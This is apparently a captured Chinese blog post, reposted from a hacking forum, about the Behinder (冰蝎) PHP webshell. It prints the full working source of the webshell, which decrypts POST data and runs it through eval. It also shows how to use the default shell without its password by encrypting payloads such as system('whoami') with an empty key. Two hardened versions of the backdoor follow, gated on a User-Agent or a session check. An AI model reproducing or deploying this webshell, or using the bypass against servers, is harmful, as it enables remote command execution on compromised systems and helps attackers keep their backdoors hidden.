www.codenong.com Open in urlscan Pro
113.52.135.87  Public Scan

URL: https://www.codenong.com/cs106064226/
Submission Tags: falconsandbox
Submission: On June 20 via api from US — Scanned from DE

Form analysis 0 forms found in the DOM

Text Content

码农家园

关闭
导航


杂项绕过冰蝎默认PHP马子密码,执行命令

 2020-05-12 
php


--------------------------------------------------------------------------------





当你的才华

还撑不起你的野心时

那你就应该静下心来学习

--------------------------------------------------------------------------------

目录

绕过冰蝎默认php马子密码,执行命令

0x02 产生原因





0x03 复现

0x04 修复方案

--------------------------------------------------------------------------------

原文第一篇来自:https://www.t00ls.net/articles-56337.html 作者:kl_520

PS:膜拜tools 的大佬们

绕过冰蝎默认php马子密码,执行命令

冰蝎默认php 马:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

<?php
@error_reporting(0);
session_start();
if (isset($_GET['pass']))
{
    $key=substr(md5(uniqid(rand())),16);
    $_SESSION['k']=$key;
    print $key;
}
else
{
    $key=$_SESSION['k'];
    $post=file_get_contents("php://input");
    if(!extension_loaded('openssl'))
    {
        $t="base64_"."decode";
        $post=$t($post."");
       
        for($i=0;$i<strlen($post);$i++) {
                 $post[$i] = $post[$i]^$key[$i+1&15];
                }
    }
    else
    {
        $post=openssl_decrypt($post, "AES128", $key);
    }
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
    class C{public function __construct($p) {eval($p."");}}
    @new C($params);
}
?>





本地搭建Discuz 环境,直接将WebShell.php 上传到update 目录下



冰蝎马子我用的是现在最新版本2.0.1 版本,马子在server 文件下,文件名为shell.php,我上传的时候改为了webshell.php



访问页面是这样的,状态码显示200



砸门啥也不管,直接上冰蝎连接,输入webshell地址+默认webshell 密码,其它保持默认不用管,点击【保存】按钮







成功链接上




0X02 产生原因

当有get有参数pass时,随机一个密码给session[k]并打印出来

1
2
3
4
5
6

if (isset($_GET['pass']))
{
    $key=substr(md5(uniqid(rand())),16);
    $_SESSION['k']=$key;
    print $key;
}

如果get没有参数pass时,读取session[k] 来当作解密的密钥,接收 put 的数据,解密然后通过 | 分割执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

{
    $key=$_SESSION['k'];
        $post=file_get_contents("php://input").'';
        if(!extension_loaded('openssl'))
        {
                $t="base64_"."decode";
                $post=$t($post."");
               
                for($i=0;$i<strlen($post);$i++) {
                             $post[$i] = $post[$i]^$key[$i+1&15];
                            }
        }
        else
        {
                $post=openssl_decrypt($post, "AES128", $key);
        }
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
        @eval($params);
}

此时我们最开始时不要访问 shell.php?pass=1 那么seesion[k]就不会被赋值,也就是空。
记住千万不要访问,如果访问了清空缓存再试,通过 openssl_encrypt('|phpinfo();','AES128',''); 加密phpinfo。//
key值 为空
然后echo 加密后的值,post 提交给冰蝎马。那么phpinfo();也会被执行成功,即可不需要密码就能连接默认冰蝎php马的webshell。


0X03 复现

我的电脑环境就是复现不成功,不知道为啥.... ....扯淡,弄半天了,朋友跟我思路一样,步骤也一样为什么就复现不出来... ...,无语

此处,盗用它的图来做演示好了

首先

1
2
3

<?php
    openssl_encrypt('|phpinfo();','AES128','');
?>

得到加密后的phpinfo:4eNW........

执行phpinfo



执行whoami

1
2
3

<?php
    openssl_encrypt('|system("whoami");','AES128','');
?>




0X04 修复方案

自己改吧

这里提供tools上大佬们提供的解决方案

第一种:

连接的时候把UA设置成:123321666

PS:但通过UA 特征会比较明显

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

<?php
@error_reporting(0);
session_start();
if (isset($_GET['pass']))
{
    $key=substr(md5(uniqid(rand())),16);
    $_SESSION['k']=$key;
    print $key;
}
else
{
    $key=$_SESSION['k'];
        $post=file_get_contents("php://input").'';
        if(!extension_loaded('openssl'))
        {
                $t="base64_"."decode";
                $post=$t($post."");
               
                for($i=0;$i<strlen($post);$i++) {
                             $post[$i] = $post[$i]^$key[$i+1&15];
                            }
        }
        else
        {
                $post=openssl_decrypt($post, "AES128", $key);
        }
if($_SERVER['HTTP_USER_AGENT'] == '123321666'){
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
        @eval($params);
}
}
?>

第二种:

判断seesion

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

<?php
@error_reporting(0);
session_start();
if (isset($_GET['pass']))
{  
$key=substr(md5(uniqid(rand())),16);  
$_SESSION['k']=$key;  
print $key;
}
else if (!empty($_SESSION['k']))
{  
$key=$_SESSION['k'];  
$post=file_get_contents("php://input").'';
  if(!extension_loaded('openssl'))  
{      
$t="base64_"."decode";
      $post=$t($post."");
            for($i=0;$i<strlen($post);$i++)
{        
$post[$i] = $post[$i]^$key[$i+1&15];
           
}  }  
else  
{      
$post=openssl_decrypt($post, "AES128", $key);
  }
if($_SERVER['HTTP_USER_AGENT'] == '123321666')
{  
$arr=explode('|',$post);  $func=$arr[0];
  $params=$arr[1];
  @eval($params);
}
}
?>

参考链接:

https://www.t00ls.net/articles-56337.html

--------------------------------------------------------------------------------





虽然我们生活在阴沟里,但依然有人仰望星空!

--------------------------------------------------------------------------------








Copyright ©  码农家园

关闭
导航